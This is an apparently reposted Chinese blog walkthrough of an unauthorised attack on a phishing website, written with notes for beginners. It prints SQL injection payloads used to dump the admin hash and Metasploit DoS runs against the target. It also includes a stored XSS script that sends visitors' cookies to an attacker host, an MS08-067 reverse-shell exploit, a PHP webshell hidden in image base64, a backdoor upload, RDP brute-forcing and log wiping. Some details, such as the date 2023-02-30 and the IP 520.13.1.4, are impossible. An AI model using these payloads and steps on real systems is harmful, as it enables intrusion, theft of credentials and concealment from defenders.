为了保护个人隐私,本文出现的任何与个人信息相关的内容(包括网站页面等)均为仿制品,本次渗透仅为提升本人技术能力,没有进行任何危害性操作。
本文仅用于研究和教学使用,只可以在模拟、合法的环境下尝试文中的操作,若用于违反法律的用途后果自负。
下文中加粗及不同颜色标记的含义:
重点
工具
漏洞名称
技术手段
//给小白看的
Payload+命令
下文会再次利用到的信息
近期钓鱼网站传播似乎挺广泛的,没多长时间就搞到一个
简单测试一下SQL注入
//SQL注入:
//例:后端代码 //将id传入构造数据库查询语句,从table表中查询所有id为$id的数据 $sql="SELECT * FROM table WHERE id='$id'"; mysqli_query($conn,$sql); //执行查询语句
通过构造GET请求来执行代码
http://xxx.html?id=1' 代码 %23
构造的GET请求产生了闭合并加入了新代码,%23用来注释掉后面的单引号
SELECT * FROM table WHERE id='1' 代码 %23'
?id=1'
网页状态码200,但页面内容明显异常
//状态码200:请求成功
?id=1' %23
页面内容恢复正常,确认存在SQL注入漏洞
进一步检测利用类型
?id=1' order by 1 %23
为1时内容正常,可以尝试通过主查询字段为1的union注入来获取数据库数据
//union注入:SQL注入的一种,如id=-1出错时,后面查询的内容会顶替其位置
查当前库名
?id=-1' union select database() %23
结果页面内容正常,但是页面任何地方都没有显示出库名,直接查看网页前端代码,果然回显出现在了这隐蔽的地方,库名为maildatabase
<!--前端代码-->
<iframe src="/denglu.php?user=maildatabase"></iframe>
查所有表名
?id=-1' union select group_concat('\n',table_name) from information_schema.tables where table_schema=database() %23
查表名中所有字段名
?id=-1' union select group_concat('\n',column_name) from information_schema.columns where table_schema=database() and table_name='表名' %23查字段中的数据,发现长度有一定限制,于是采用了通过id控制范围的方法
?id=-1' union select group_concat('\n',字段名) from 表名 where id>n %23
在进行了一番查阅后,从数据库中拿到了网站管理员的用户名和密码的哈希值,对哈希值进行撞库破解得到密码为1234efgh,猜测为网站后台的账号密码。
AdminPasswordadmin2A12A919C703759368AD5B456DAFA8C6
//哈希值:通过哈希算法对密码进行不可逆加密得到的值
//撞库:用 密码-哈希值 的字典进行暴力破解
虽然有了账号密码,但没有后台网址没有任何意义
尝试直接访问"http://qqmail123.inin.start/",结果没有目录遍历漏洞
//目录遍历漏洞:由于文件夹下不存在主页等原因导致显示出文件夹内的所有文件夹名和文件名
注意到了吗?在回显处又出现了一个网址"/denglu.php"
<!--前端代码-->
<iframe src="/denglu.php?user=maildatabase"></iframe>
对其进行访问发现页面只有登录输入框和按钮而已,并且必须给user传值才能正常显示
接下来在两个页面的所有前端代码中寻找新网址,里面出现了很多官方网址显然是没有用的,虽然没找到新网址,但是找到了一个不同于此网站的域名
经查询,新域名已失效,猜测为以前的域名,只不过换了域名后代码没有改动
但是后台网址呢???别急,信息收集要有足够的耐心。
进行整站分析,得出了一些可能有用的信息
中间件数据库脚本语言操作系统IIS 7.5MySQL 5.5PHPWindows Server
要知道,IIS 7.5版本存在文件解析漏洞,也就说一张网站中的图片可以作为网页甚至木马
//文件解析漏洞:通过特殊方式访问文件导致文件被解析成另一种格式
通过多地区ping检测,得出网站有唯一IP 520.13.1.4,不存在CDN
//ping:通过cmd"ping 域名"的命令来获取IP
//CDN:相当于真实服务器的很多代理,可以隐藏真实服务器IP
//多地区ping检测:字面意思,若存在CDN则在不同地区ping到的CDN可能IP不同
可惜我不能对它使用ping,所以用nmap无ping端口扫描
nmap -P0 IP
结果只扫描到了三个端口
1.80 HTTP
2.3389 远程桌面
3.4545 一个功能未知的端口
对网站进一步进行漏洞分析
发现存在一个JS页面可以对资源的范围进行请求,使用Burp进行抓包,修改请求包,设置Range范围到64位无符号整型的最大整数
//抓包:建立自己与网站的中间人对信息进行拦截
GET /js/jquery.min.js HTTP/1.1
Range: bytes=0-18446744073709551615
Cookie:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Encoding: gzip,deflate
Host: qqmail123.inin.start
User-Agent:
Connection: Keep-alive
结果状态码416,存在MS15-034漏洞,可以使用MSF进行DoS攻击导致其蓝屏
//状态码416:请求范围越界
//MS15-034:HTTP协议堆栈(HTTP.sys)整数溢出导致拒绝服务
//DoS攻击:使其拒绝服务的攻击
msf6 > use auxiliary/dos/http/ms15_034_ulonglongadd
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set RHOSTS 520.13.1.4
RHOSTS => 520.13.1.4
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run
顺便测试了一下3389端口的漏洞情况
msf6 > use auxiliary/scanner/rdp/ms12_020_check
msf6 auxiliary(scanner/rdp/ms12_020_check) > set RHOSTS 520.13.1.4
RHOSTS => 520.13.1.4
msf6 auxiliary(scanner/rdp/ms12_020_check) > run[+] 520.13.1.4:3389 - 520.13.1.4:3389 - The target is vulnerable.
[] 520.13.1.4:3389 - Scanned 1 of 1 hosts (100% complete)
[] Auxiliary module execution completed
存在MS12-020漏洞,蓝屏手段+1
//MS12-020:向3389发送特制的RDP包导致DoS
msf6 > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > set RHOSTS 520.13.1.4
RHOSTS => 520.13.1.4
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > run
但是打击到蓝屏对提权暂时没有帮助,如果之后发现有可以配合使用的漏洞,比如攻击后只要重启即可提权,那么可以将其击为蓝屏强制重启
//提权:提升自己对目标的控制权
下面进行域名信息收集
首先对当前域名进行Whois查询
//Whois:查询域名或IP所有者信息的传输协议
域名注册人手机号邮箱域名注册商QIANQU+86 71712345678qiq@chengzhang.cnchengzhang
然后对新域名进行Whois查询
域名注册人手机号邮箱域名注册商千曲+86 1501234567815012345678@163.com成章网络公司
对信息进行反查,又得到许多域名,但是那些域名都已失效,进一步信息收集找到一些C段,但是没有旁站、没用CMS,也没有发现其他有用的信息了
//反查:如通过一个域名查到注册人邮箱,再通过邮箱查到更多域名
//C段,与目标IP仅最后一位不同的IP
//旁站:与目标在同一服务器上的其他网站,可以先拿下旁站进而拿下目标
//CMS:方便建站,类似模板,可以下载源码进行代码审计
IP(C段)标题520.13.1.4登录520.13.1.4250登录
尝试ping找到的另一个IP
ping 520.13.1.4250
发现可以ping通,尝试全面端口扫描
nmap -A 520.13.1.4250
这次测出4545为msrpc端口,尝试利用MS08-067漏洞对两个服务器提权
//MS08-067:通过MSRPC over SMB通道调用NetPathCanonicalize函数,NetPathCanonicalize在远程访问其他主机时,调用NetpwPathCanonicalize函数对远程访问的路径规范化,NetpwPathCanonicalize函数存在逻辑错误导致栈缓冲区溢出,导致远程代码执行
msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcpmsf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 520.13.1.4
RHOSTS => 520.13.1.4
msf6 exploit(windows/smb/ms08_067_netapi) > set RPORT 4545
RPORT => 4545
msf6 exploit(windows/smb/ms08_067_netapi) > exploit[] Started reverse TCP handler on 192.168.5.21:4444
[-] 520.13.1.4:4545 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: execution expired
[] Exploit completed, but no session was created.
可惜提权失败,甚至第二天扫描4545端口竟然测不出来是什么了
为了找到后台,在输入框处进行XSS,将JS代码写入数据库
//XSS:将JS代码插入页面导致访问者被攻击
<!--写入的JS代码-->
<script src=//myxsspt123.com/hacker></script>
在写入代码时发现前端会对内容格式进行判断并限制长度,那么就先写符合格式的内容然后抓包,修改请求包,发现不允许空格,这里用**/**/**来代替空格
GET /denglu.php?user=0123456789&password=<script/**/src=//myxsspt123.com/hacker></script> HTTP/1.1
Host: qqmail123.inin.start
Accept: /
User-Agent:
X-Requested-With: XMLHttpRequest
Referer: http://qqmail123.inin.start/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: close
这样当管理员使用后台查看数据库数据时,JS代码将执行,通过链接调用外部JS,外部JS执行获取URL等信息并传给我,这样就可以得到后台网址了
//外部JS代码
(function () {
//escape()进行编码
(new Image()).src = 'http://myxsspt123.com/xss.php?do=api&id=hacker&location=' + escape((function () {
try {
//获取URL
return document.location.href
} catch (e) {
return ''
}
})()) + '&toplocation=' + escape((function () {
try {
//控制页面跳转
return top.location.href
} catch (e) {
return ''
}
})()) + '&cookie=' + escape((function () {
try {
//获取Cookie
return document.cookie
} catch (e) {
return ''
}
})()) + '&opener=' + escape((function () {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
} catch (e) {
return ''
}
})());
})();
userpassword0123456789<script/**/src=//myxsspt123.com/hacker></script>
//猜测的后端源码,将数据从数组中输出
while($row=mysqli_fetch_array($query,MYSQLI_ASSOC)){
?>
<td><?php echo "账号:".$row['user']." 密码:".$row['password'];?></tr>
<?php } ?>
<!--猜测的管理员访问页面时的前端代码-->
<td>账号:0123456789 密码:<script/**/src=//myxsspt123.com/hacker></script></tr>
经过两天的等待,依然没有反应,此时我不得不怀疑这个网站到底是否有后台
之前发现"/denglu.php"必须给user传值才能正常显示,此时想起来一句话"最危险的地方就是最安全的地方",不会后台登录页远在天边近在眼前吧,那么猜测user就是用户名,想要进入后台还需要传入密码,经过了&password=、&pass=等尝试无果
之前还发现图片可以作为网页,想到这我就去翻出了网站的所有图片,将图片下载以文本打开,可惜并没有发现任何代码
于是还是决定对网站目录进行爆破式扫描,一直没有尝试这种方法一个原因是担心IP被封还有就是可能长时间无果。结果还不错,经过了一段时间的等待,就找到了网站后台和phpinfo的网址,还有状态码403的几个网址
//状态码403:没有权限访问
//phpinfo:一个调用phpinfo函数的页面,展示了网站的很多信息
从phpinfo得知系统具体为Win8,后期了解到之前MS08-067漏洞提权失败可能是因为没有认证什么东西,等以后搞明白了再试试吧
利用之前获取到的后台的账号密码成功进入了后台,XSS也起效了
进行一波分析,网站后台仅能对数据库进行增删改查而已,并没有利用价值
查看phpinfo,得到了网站根目录的绝对路径,可以尝试利用SQL注入向绝对路径写入一句话木马,在写入前先测试一下是否有文件权限,尝试读取根目录绝对路径下的文件
//根目录:存放网站文件和子文件夹的顶层路径,只有根目录下的网页可以访问
//绝对路径:从盘符开始的路径
//一句话木马:代码简短的木马网页,如本网站脚本语言为PHP,则使用PHP一句话木马,访问木马网页即可传入命令执行操作
?id=-1' union select load_file('C:\Inetpub\wwwroot\login.html') %23
结果并没有读取到,也就说没有权限向网站根目录写入一句话木马
对于之前发现的状态码403的几个网址,我比较在意的是"qqmail123.inin.start/include/",因为可能有一些利用价值,比如可能存在文件包含漏洞,那么就可以尝试包含木马
//文件包含漏洞:通过include()等函数将其他文件内容包含进来,有时可以包含第三方恶意文件导致攻击
尝试了伪造IP、HOST、Referer、改扩展名、覆盖请求URL等绕过操作,我依然无权访问
此时我是绝望的,虽然可以进行很多攻击了,但是无法达到我理想的目标:拿到服务器控制权
由于我暂时没有其他思路,只好尝试了我最不喜欢的方式,简单分析了一下管理员设置密码的个人习惯规律,再结合Win8的密码格式要求,用户名使用默认用户名Administrator,对3389远程桌面登录进行爆破,经过一些时间的爆破,我选择放弃
能走到这一步我已经。。不满意啊,最后还是没有提权成功
但是,本次渗透被迫结束,菜哭了。。
下面说一点如果MS08-067漏洞提权成功之后可以进行的一些操作
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[] Started reverse TCP handler on 192.168.5.21:4444
[] 520.13.1.4:4545 - Attempting to trigger the vulnerability...
[] Sending stage (175686 bytes) to 520.13.1.4
[] Meterpreter session 1 opened (192.168.5.21:4444 -> 192.168.219.129:1314) at 2023-02-30 05:02:01 +0800meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
此时已拿到SYSTEM权限,要进行维权
//SYSTEM:Win最高权限
前面说过了图片可以作为木马,但这里不推荐,因为只要下载图片就可以看到代码,可能被其他黑客利用,建议将一句话写入网站原有的页面,比如写入网页直接嵌入的图片的Base64编码中
//简单一句话木马,通过POST请求向cmd传代码来控制服务器
<?php @eval($_POST[cmd]);?>
//写入网页直接嵌入的图片的Base64编码
background-image: url("data:image/png;base64,4VhRs5<?php echo 'oOxHAxJ552xPwvmn5RY5oS0P1A/AeKCrDQ
B55SQ6Ia96YCHHeWbk0Ut';@eval($_POST[cmd]);echo '
RDXpsZVcIzTmtZQ/57CXBRogTGrmvbtGC+OBhHQ/5rem
VWfpnqZV5Z2l';?>6KStHj/mvIoQcE7kub11Wloa5rySPwFZ
ATID9OVBjunIM/bVQEbT8/55yz772UewFGP0DoqqZtPz/");
向网站根目录植入一句话木马
meterpreter > upload //root/桌面/login.png C:\Inetpub\wwwroot\login.png
[] uploading : //root/桌面/login.png -> C:\Inetpub\wwwroot\login.png
[] uploaded : //root/桌面/login.png -> C:\Inetpub\wwwroot\login.png
可以查看服务器安装了哪些杀毒软件然后在自己电脑配置一样的杀毒环境,制作免杀后门,配置好内网穿透让自己和免杀后门能够通信,免杀测试通过后再传入并启动
//免杀:不被查杀
//后门:更隐蔽的用于远程控制的木马
//内网穿透:将局域网IP、端口映射到公网
植入免杀后门
meterpreter > upload //root/桌面/HouMen.exe C:\HouMen.exe
[] uploading : //root/桌面/HouMen.exe -> C:\HouMen.exe
[] uploaded : //root/桌面/HouMen.exe -> C:\HouMen.exe
清除痕迹(应用程序、系统、安全日志)
meterpreter > clearev
[] Wiping 5 records from Application...
[] Wiping 2 records from System...
[*] Wiping 1 records from Security...
版权归原作者 LeiyNeKo 所有, 如有侵权,请联系我们删除。